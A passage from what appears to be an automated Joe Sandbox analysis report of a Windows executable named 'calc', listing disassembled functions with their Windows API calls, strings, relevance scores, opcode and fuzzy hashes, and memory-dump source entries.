      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID:
      • String ID: ACTIVE$ALL$CLASS$HANDLE$INSTANCE$LAST$REGEXPTITLE$TITLE
      • API String ID: 0-1002644998
      • Opcode ID: b775c76aaabb7ba7156cb814bf6caf9c6bccd3d2c61fbd903a8bcc880dd4e17f
      • Instruction ID: f31cf381076a0f888e4b9b29ebd17d05e6bef760160a7657eb3a5a9d70ff2295
      • Opcode Fuzzy Hash: b775c76aaabb7ba7156cb814bf6caf9c6bccd3d2c61fbd903a8bcc880dd4e17f
      • Instruction Fuzzy Hash: 0FC17E71A042559EDF11EF65C8847AA7FA8AF08309F0541ABFC04BB287C77CD949CB69
      Function 00412E32 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 208windowCOMMON
      Download Yara Rule
      APIs
      • GetMenuItemInfoW.USER32(00000007,?,00000000,0000002C), ref: 00412EEC
      • GetMenuItemCount.USER32(0047A6A8), ref: 00412F7B
      • DeleteMenu.USER32(0047A6A8,00000005,00000000,0047A6A8,?,00000000), ref: 00413012
      • DeleteMenu.USER32(0047A6A8,00000004,00000000,?,00000000), ref: 00413019
      • DeleteMenu.USER32(0047A6A8,00000006,00000000,?,00000000), ref: 00413020
      • DeleteMenu.USER32(0047A6A8,00000003,00000000,?,00000000), ref: 00413027
      • GetMenuItemCount.USER32(0047A6A8), ref: 0041302E
      • SetMenuItemInfoW.USER32(0047A6A8,00000004,00000000,0000002C), ref: 00413065
      • GetCursorPos.USER32(?), ref: 0041306F
      • SetForegroundWindow.USER32(?), ref: 00413078
      • TrackPopupMenuEx.USER32(0047A6A8,00000000,?,00000040,?,00000000,?,00000000), ref: 0041308B
      • PostMessageW.USER32(?,00000000,00000000,00000000), ref: 00413097
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Menu$DeleteItem$CountInfo$CursorForegroundMessagePopupPostTrackWindow
      • String ID: ,$@
      • API String ID: 1441871840-1227015840
      • Opcode ID: 6fba69342bae33aab1d83c18947fedfc591f4581130f52114987ab3926d0da51
      • Instruction ID: 4df3f0e84d8b0de06bb22b55110f503df572b040d89fde59fd7f95bd6219fecb
      • Opcode Fuzzy Hash: 6fba69342bae33aab1d83c18947fedfc591f4581130f52114987ab3926d0da51
      • Instruction Fuzzy Hash: 7671AE70501248BEEB21DF54CD84FDBBBF8EB05348F20441AF56592291C7B99E95EB28
      Function 00408DC0 Relevance: 24.4, APIs: 16, Instructions: 435windowCOMMON
      Download Yara Rule
      APIs
      • SendMessageW.USER32(?,00001308,?,00000000), ref: 00408E5F
      • 6F9C0200.COMCTL32(?,?,?,?,?), ref: 00408E8F
      • DeleteObject.GDI32(?), ref: 004092CE
      • DeleteObject.GDI32(?), ref: 004092D8
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: DeleteObject$C0200MessageSend
      • String ID:
      • API String ID: 657499330-0
      • Opcode ID: 681bfac6f9b775f46c0de513788c86c80d53ef1ddb92152cbeed067875cecc96
      • Instruction ID: 7d2debd5b4728ea3e7bc78dbc7d3a0c9875d6f4225f609ec850b9899efb3e1eb
      • Opcode Fuzzy Hash: 681bfac6f9b775f46c0de513788c86c80d53ef1ddb92152cbeed067875cecc96
      • Instruction Fuzzy Hash: 4CF1BE30600606EFDB21DF64C984AAAB7F5BF05300F1406AEE555EB2E2C738ED90CB59
      Function 00423E39 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 161COMMON
      Download Yara Rule
      APIs
      • CharLowerBuffW.USER32(?,?,00000000,00000000), ref: 00423E8C
      • GetDriveTypeW.KERNEL32(?,open,close), ref: 00423F02
      • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00423F73
      • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00423FA6
      • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00423FC9
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: SendString$BuffCharDriveLowerType
      • String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
      • API String ID: 1600147383-4113822522
      • Opcode ID: e798e5cba57f05c642975c2479575c6facbe9a9e44185d1778da3dbd510af00b
      • Instruction ID: d880ffdb118256abe20f09d514c1cc5d447d9422aaf319f78db7854ebfdf8fa5
      • Opcode Fuzzy Hash: e798e5cba57f05c642975c2479575c6facbe9a9e44185d1778da3dbd510af00b
      • Instruction Fuzzy Hash: 4351E831A002296ADF10AF65EC41AEF7779AF00725F52451BF811771A1CB7CEE858798
      Function 00418B39 Relevance: 21.4, APIs: 11, Strings: 1, Instructions: 399timeCOMMON
      Download Yara Rule
      APIs
        • Part of subcall function 004183F6: VariantClear.OLEAUT32(?), ref: 00418410
      • VariantCopy.OLEAUT32(00000000,00431D12), ref: 00418B96
      • VariantClear.OLEAUT32(00000000), ref: 00418BA6
      • VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 00418C34
      • VarR4FromDec.OLEAUT32(?,00431D12), ref: 00418C8E
      • VariantInit.OLEAUT32(00000000), ref: 00418E76
      • VariantCopy.OLEAUT32(00000000,00431D12), ref: 00418E7F
      • VariantClear.OLEAUT32(00000000), ref: 00418E8F
      • SafeArrayAccessData.OLEAUT32(F006748D,00000000), ref: 00418EAA
      • SafeArrayAccessData.OLEAUT32(F006748D,?), ref: 00418F24
      • SafeArrayAccessData.OLEAUT32(F006748D,?), ref: 00418F92
      • SafeArrayUnaccessData.OLEAUT32(F006748D), ref: 00418FF4
      Strings
      • %4d%02d%02d%02d%02d%02d, xrefs: 00418C5B
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Variant$ArrayDataSafe$AccessClear$CopyTime$FromInitSystemUnaccess
      • String ID: %4d%02d%02d%02d%02d%02d
      • API String ID: 3089604418-1568723262
      • Opcode ID: cfc0fc8603459c0ecd67d867233e7278f9da470c659dcba5a5f405ed2ac1eb65
      • Instruction ID: f61b0e39ba79fa92f8e0144b1a52bb32301d3f9e329304e71c291f811c95cde8
      • Opcode Fuzzy Hash: cfc0fc8603459c0ecd67d867233e7278f9da470c659dcba5a5f405ed2ac1eb65
      • Instruction Fuzzy Hash: D7E1AB71600615EFDB10CF69C884BAAB7B4FF09305F1484AEE505DB2A1DB78EC82DB59
      Function 00414777 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 163COMMON
      Download Yara Rule
      APIs
        • Part of subcall function 004163E7: LoadLibraryA.KERNEL32(Psapi.dll,004147A2,00000000,76230F00,?,004145E2,0042018E,0042018E,00479E08,00479E08,00438624,022D5978,00479E08), ref: 004163F2
        • Part of subcall function 004163E7: GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 00416404
      • FreeLibrary.KERNEL32(00000000,00000000,76230F00,?,004145E2,0042018E,0042018E,00479E08,00479E08,00438624,022D5978,00479E08), ref: 00414969
        • Part of subcall function 0041640E: LoadLibraryA.KERNEL32(Psapi.dll,004147B9,00000000,76230F00,?,004145E2,0042018E,0042018E,00479E08,00479E08,00438624,022D5978,00479E08), ref: 00416419
        • Part of subcall function 0041640E: GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 0041642B
      • FreeLibrary.KERNEL32(00000000,00000000,76230F00,?,004145E2,0042018E,0042018E,00479E08,00479E08,00438624,022D5978,00479E08), ref: 0041495E
        • Part of subcall function 00416435: LoadLibraryA.KERNEL32(Psapi.dll,004147CB,00000000,76230F00,?,004145E2,0042018E,0042018E,00479E08,00479E08,00438624,022D5978,00479E08), ref: 00416440
        • Part of subcall function 00416435: GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00416452
      • FreeLibrary.KERNEL32(00479E08,?,004145E2,0042018E,0042018E,00479E08,00479E08,00438624,022D5978,00479E08), ref: 004147FE
      • FreeLibrary.KERNEL32(00000000,?,004145E2,0042018E,0042018E,00479E08,00479E08,00438624,022D5978,00479E08), ref: 00414809
      • FreeLibrary.KERNEL32(00000000,?,004145E2,0042018E,0042018E,00479E08,00479E08,00438624,022D5978,00479E08), ref: 00414818
      • OpenProcess.KERNEL32(00000410,00000000,?,?,004145E2,0042018E,0042018E,00479E08,00479E08,00438624,022D5978,00479E08), ref: 0041485C
      • CloseHandle.KERNEL32(00420411,?,004145E2,0042018E,0042018E,00479E08,00479E08,00438624,022D5978,00479E08), ref: 0041490F
      • FreeLibrary.KERNEL32(00479E08,?,004145E2,0042018E,0042018E,00479E08,00479E08,00438624,022D5978,00479E08), ref: 00414931
      • FreeLibrary.KERNEL32(0042018E,?,004145E2,0042018E,0042018E,00479E08,00479E08,00438624,022D5978,00479E08), ref: 0041493B
      • FreeLibrary.KERNEL32(00000000,?,004145E2,0042018E,0042018E,00479E08,00479E08,00438624,022D5978,00479E08), ref: 00414945
      • FreeLibrary.KERNEL32(00479E08,00000000,76230F00,?,004145E2,0042018E,0042018E,00479E08,00479E08,00438624,022D5978,00479E08), ref: 00414953
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Library$Free$AddressLoadProc$CloseHandleOpenProcess
      • String ID: #v
      • API String ID: 3454388078-554117064
      • Opcode ID: c4f79a643b5682921c722641b7f80092ca5cfa9fb87e33459252109ddd29e822
      • Instruction ID: 67da03c55051d6841422090956ccbf622c4eb7ad81aeaa5aa04e5421710b268f
      • Opcode Fuzzy Hash: c4f79a643b5682921c722641b7f80092ca5cfa9fb87e33459252109ddd29e822
      • Instruction Fuzzy Hash: 765129B1C1022DEBDF12ABA5DC40AEFBBB8BF88315F140167E510B2150D7789A85DF98
      Function 00430763 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 138registryshareCOMMON
      Download Yara Rule
      APIs
      • WNetAddConnection2W.MPR(?,?,?,00000000), ref: 00430838
      • RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 00430853
      • RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?), ref: 00430873
      • RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?), ref: 0043089D
      • CLSIDFromString.COMBASE(00000000,?), ref: 004308CA
      • RegCloseKey.ADVAPI32(?), ref: 004308DC
      • RegCloseKey.ADVAPI32(?), ref: 004308E1
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue
      • String ID: SOFTWARE\Classes\$\$\$\CLSID$\IPC$
      • API String ID: 3030280669-2678712113
      • Opcode ID: 453c8cb8aaa4de0b09c011fe067ad409552cfb1233d0248a75fe623b2e3561b7
      • Instruction ID: e9f791e3af91f90d151af441e719dbce76ac587e37e4bc486b3c1f566675ae6e
      • Opcode Fuzzy Hash: 453c8cb8aaa4de0b09c011fe067ad409552cfb1233d0248a75fe623b2e3561b7
      • Instruction Fuzzy Hash: E5418271900218ABCF21EFE5DC86DEEBBB9EF08754F100166F901A3151DB399E85CB98
      Function 0040ADFC Relevance: 21.1, APIs: 14, Instructions: 123filecommemoryCOMMON
      Download Yara Rule
      APIs
      • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,?,?,?,?,00407B99,?,?,?), ref: 0040AE1F
      • GetFileSize.KERNEL32(00000000,00000000,?,?,?,00407B99,?,?,?,?,?), ref: 0040AE2E
      • GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,00407B99,?,?,?,?,?), ref: 0040AE3A
      • GlobalLock.KERNEL32(00000000), ref: 0040AE43
      • ReadFile.KERNEL32(00000000,00000000,?,?,00000000,?,?,?,00407B99,?,?,?,?,?), ref: 0040AE53
      • GlobalUnlock.KERNEL32(00000000), ref: 0040AE5A
      • CloseHandle.KERNEL32(00000000,?,?,?,00407B99,?,?,?,?,?), ref: 0040AE61
      • CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0040AE6E
      • OleLoadPicture.OLEAUT32(?,00000000,00000000,0045AEA8,?), ref: 0040AE82
      • GlobalFree.KERNEL32(00000000), ref: 0040AE92
      • GetObjectW.GDI32(?,00000018,?), ref: 0040AEB9
      • CopyImage.USER32(?,00000000,?,?,00002000), ref: 0040AEF0
      • DeleteObject.GDI32(?), ref: 0040AF12
      • SendMessageW.USER32(?,00000172,00000000,?), ref: 0040AF28
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Global$File$CreateObject$AllocCloseCopyDeleteFreeHandleImageLoadLockMessagePictureReadSendSizeStreamUnlock
      • String ID:
      • API String ID: 3969911579-0
      • Opcode ID: 49c49731e839cb7fe105a19153864ee00061c65c46ae88794a82da1298d8b0f8
      • Instruction ID: cb8fd9a0ce4e2b5bf979152b6b69ba6d5677fcb9638b9655bdc767c6ac9b755b
      • Opcode Fuzzy Hash: 49c49731e839cb7fe105a19153864ee00061c65c46ae88794a82da1298d8b0f8
      • Instruction Fuzzy Hash: C3413475900319FFCB119FA0CC88DAEBBB9EF89312B2044A5F505E72A1D7359D02CBA4
      Function 00455EDD Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 90libraryloaderCOMMONLIBRARYCODE
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(user32.dll,0045BFD0,?,?), ref: 00455EF5
      • GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 00455F11
      • GetProcAddress.KERNEL32(00000000,GetActiveWindow), ref: 00455F22
      • GetProcAddress.KERNEL32(00000000,GetLastActivePopup), ref: 00455F2F
      • GetProcAddress.KERNEL32(00000000,GetUserObjectInformationA), ref: 00455F45
      • GetProcAddress.KERNEL32(00000000,GetProcessWindowStation), ref: 00455F56
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AddressProc$LibraryLoad
      • String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationA$MessageBoxA$user32.dll
      • API String ID: 2238633743-1612076079
      • Opcode ID: 7611b16ea55112288e4e24d76ec937120c27eb8a9d56c1d51c026ca64dbdc89f
      • Instruction ID: 4e8962c2657cc3db2d1b492644d61bf7130a5013e907e64669c8747346af678d
      • Opcode Fuzzy Hash: 7611b16ea55112288e4e24d76ec937120c27eb8a9d56c1d51c026ca64dbdc89f
      • Instruction Fuzzy Hash: 0321C872205705AFEB109FB59C94E3B3BE89B05746B10043BED00D2152E7BCC84C9B6E
      Function 0043936F Relevance: 19.9, APIs: 13, Instructions: 361COMMON
      Download Yara Rule
      APIs
      • OpenProcess.KERNEL32(00000410,00000000,?), ref: 00439448
      • CloseHandle.KERNEL32(?), ref: 0043951D
      • FreeLibrary.KERNEL32(?), ref: 0043953D
      • FreeLibrary.KERNEL32(?), ref: 00439547
      • FreeLibrary.KERNEL32(?,00000000), ref: 00439574
        • Part of subcall function 00416372: LoadLibraryA.KERNEL32(kernel32.dll,0041461F,76230F00,00479E08), ref: 0041637D
        • Part of subcall function 00416372: GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 0041638F
      • FreeLibrary.KERNEL32(?,00000000), ref: 0043957E
      • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000002,00000000), ref: 0043969F
      • FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,00000002,00000000), ref: 004396B4
      • FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,00000002,00000000), ref: 004396BF
      • FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,00000002,00000000), ref: 004396CA
      • FreeLibrary.KERNEL32(?,00000000), ref: 004397CB
      • FreeLibrary.KERNEL32(?,00000000), ref: 004397D5
        • Part of subcall function 00416399: LoadLibraryA.KERNEL32(kernel32.dll,00414630,76230F00,00479E08), ref: 004163A4
        • Part of subcall function 00416399: GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 004163B6
        • Part of subcall function 004163C0: LoadLibraryA.KERNEL32(kernel32.dll,00414641,76230F00,00479E08), ref: 004163CB
        • Part of subcall function 004163C0: GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 004163DD
      • FreeLibrary.KERNEL32(?,00000000), ref: 004397DF
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Library$Free$AddressLoadProc$CloseHandle$OpenProcess
      • String ID:
      • API String ID: 2673135774-0
      • Opcode ID: 4b6be4e7d54f93fa4930be267a8433d1409893dadd987cea7e2096f976ecb1a7
      • Instruction ID: b58e278ce73e61c3bd0addc224ce89628fbce7a2dc744801581c9458643eb4d8
      • Opcode Fuzzy Hash: 4b6be4e7d54f93fa4930be267a8433d1409893dadd987cea7e2096f976ecb1a7
      • Instruction Fuzzy Hash: BAD1D872D00219EBDF11EFA5CC819DEB7B8AF08304F1540ABE905B7151DB78AE858B99
      Function 0042AD12 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 278COMMON
      Download Yara Rule
      APIs
        • Part of subcall function 0042FEC4: LoadLibraryA.KERNEL32(Wininet.dll,0042FD60,00000000,0042AA4D,?,?,?,?,?,00000001,00000000,00000000,00000002,00000000,00000002,?), ref: 0042FECF
        • Part of subcall function 0042FEC4: GetProcAddress.KERNEL32(00000000,InternetConnectW), ref: 0042FEE1
      • FreeLibrary.KERNEL32(?,00000000,?,?,?,?,?,00000000,00000000), ref: 0042ADE8
        • Part of subcall function 0041FAEE: LoadStringW.USER32(00000066,?,00000FFF,00479E08), ref: 0041FB43
        • Part of subcall function 0041FAEE: LoadStringW.USER32(0047BD30,?,00000FFF), ref: 0041FB56
      • FreeLibrary.KERNEL32(?,0000008C,000000FF,00000000,00000000), ref: 0042AD6D
      • FreeLibrary.KERNEL32(?), ref: 0042B012
      • FreeLibrary.KERNEL32(?), ref: 0042B01C
      • FreeLibrary.KERNEL32(?), ref: 0042B026
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Library$Free$Load$String$AddressProc
      • String ID: #v
      • API String ID: 2369986452-554117064
      • Opcode ID: 63ac6f70c11f3603ce28654a140b3cbbe2cadf9ebbd1ba77de62dfe0f6e3a0ff
      • Instruction ID: 92fbcbd25f89717f49a0dea9fa4711d163105862c477200d8f3d6367005632a0
      • Opcode Fuzzy Hash: 63ac6f70c11f3603ce28654a140b3cbbe2cadf9ebbd1ba77de62dfe0f6e3a0ff
      • Instruction Fuzzy Hash: 92A10C71D0052DEBDF11ABA6EC418EEB7B8FF48304B54406BE811B3161DB38AA45DF69
      Function 0043B5F6 Relevance: 19.5, APIs: 1, Strings: 10, Instructions: 238COMMON
      Download Yara Rule
      APIs
      • CharUpperBuffW.USER32(00000000,?,?,?,?), ref: 0043B60B
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
